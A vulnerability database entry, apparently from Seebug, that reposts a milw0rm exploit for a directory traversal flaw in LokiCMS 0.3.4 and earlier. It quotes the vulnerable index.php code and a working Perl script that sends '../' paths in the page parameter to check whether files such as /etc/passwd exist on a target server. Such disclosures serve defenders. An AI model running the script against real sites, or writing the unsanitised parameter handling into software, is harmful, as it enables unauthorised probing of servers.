LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit

2014-07-01T00:00:00
ID SSV:65827
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

官网链接: http://www.lokicms.com/

影响版本:<= 0.3.4

概述:

LokiCMS 0.3.4及之前版本中的index.php存在目录遍历漏洞。当magic_quotes_gpc被中止时,远程攻击者可以借助页参数中的"..",来检查任意文件是否存在。

漏洞页面:

vuln file: index.php

漏洞代码:

``` if ( isset ( $_GET ) && isset ( $_GET['page'] ) ) $pagename = stripslashes ( trim ( $_GET['page'] ) );

// load the page

if ($pagename == '') {

$name = $c_default;

$nosimple = true;

} else {

$name = $pagename;

};

if ($c_simplelink == true && $nosimple != true) {

$content = findpage($name);

if ($content == "") {$content = $c_default;};

} else {

$content = $name;

};

// stupid fix due to subdomain problems

if ($c_modrewrite != true && $pagename != '') {if (file_exists(PATH . "/pages/" . $content) == false) {$content = $c_default;};};

// load the menu

$menu = getmenu($content, $c_modrewrite, $c_simplelink);

$content = parsepage($content); ```

                                        
                                            
                                                # LokiCMS &#60;= 0.3.4 (index.php page) Arbitrary Check File Exploit
# url: http://www.lokicms.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

vulnerability:
The vulnerability allows to verify the existence of the files and directories around the server.
/etc/passwd (example)

vuln file: index.php
vuln code:
------------------------------------------------
if ( isset ( $_GET ) && isset ( $_GET[&#39;page&#39;] ) ) $pagename = stripslashes ( trim ( $_GET[&#39;page&#39;] ) );



// load the page

if ($pagename == &#39;&#39;) {

	$name = $c_default;

	$nosimple = true;

} else {

	$name = $pagename;

};



if ($c_simplelink == true && $nosimple != true) {

	$content = findpage($name);

	if ($content == &#34;&#34;) {$content = $c_default;};

} else {

	$content = $name;

};



// stupid fix due to subdomain problems

if ($c_modrewrite != true && $pagename != &#39;&#39;) {if (file_exists(PATH . &#34;/pages/&#34; . $content) == false) {$content = $c_default;};};



// load the menu

$menu = getmenu($content, $c_modrewrite, $c_simplelink);



$content = parsepage($content);
------------------------------------------------

use strict;
use LWP::UserAgent;

sub lw
{

my $SO = $^O;
my $linux = &#34;&#34;;
if (index(lc($SO),&#34;win&#34;)!=-1){
		   $linux=&#34;0&#34;;
	    }else{
		    $linux=&#34;1&#34;;
	    }
		if($linux){
system(&#34;clear&#34;);
}
else{
system(&#34;cls&#34;);
}

}

&lw;

print &#34;#################################################################\n&#34;;
print &#34;#  LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit  #\n&#34;;
print &#34;#################################################################\n&#34;;

my $victim = $ARGV[0];
my $file = $ARGV[1];

 if((!$ARGV[0]) && (!$ARGV[1])) {
    print &#34;\n[x] LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit\n&#34;;
    print &#34;[x] written by JosS - sys-project[at]hotmail.com\n&#34;;
    print &#34;[x] usage: perl xpl.pl [host] [file]\n&#34;;
    print &#34;[x] example: http://localhost/loki/ /includes/Config.php\n\n&#34;;
    exit(1);
 }
 
    print &#34;\n[+] connecting: $victim\n&#34;;
    my $cnx = LWP::UserAgent-&#62;new() or die;
    my $go=$cnx-&#62;get($victim.&#34;index.php?page=../$file&#34;);
    if ($go-&#62;content =~ m/LokiCMS/ms) {
        print &#34;[-] The file not exist\n\n&#34;;
    } else {
        print &#34;[!] The file exist: $file\n\n&#34;;
    }

# live demo: http://demo.opensourcecms.com/lokicms/

# milw0rm.com [2008-10-12]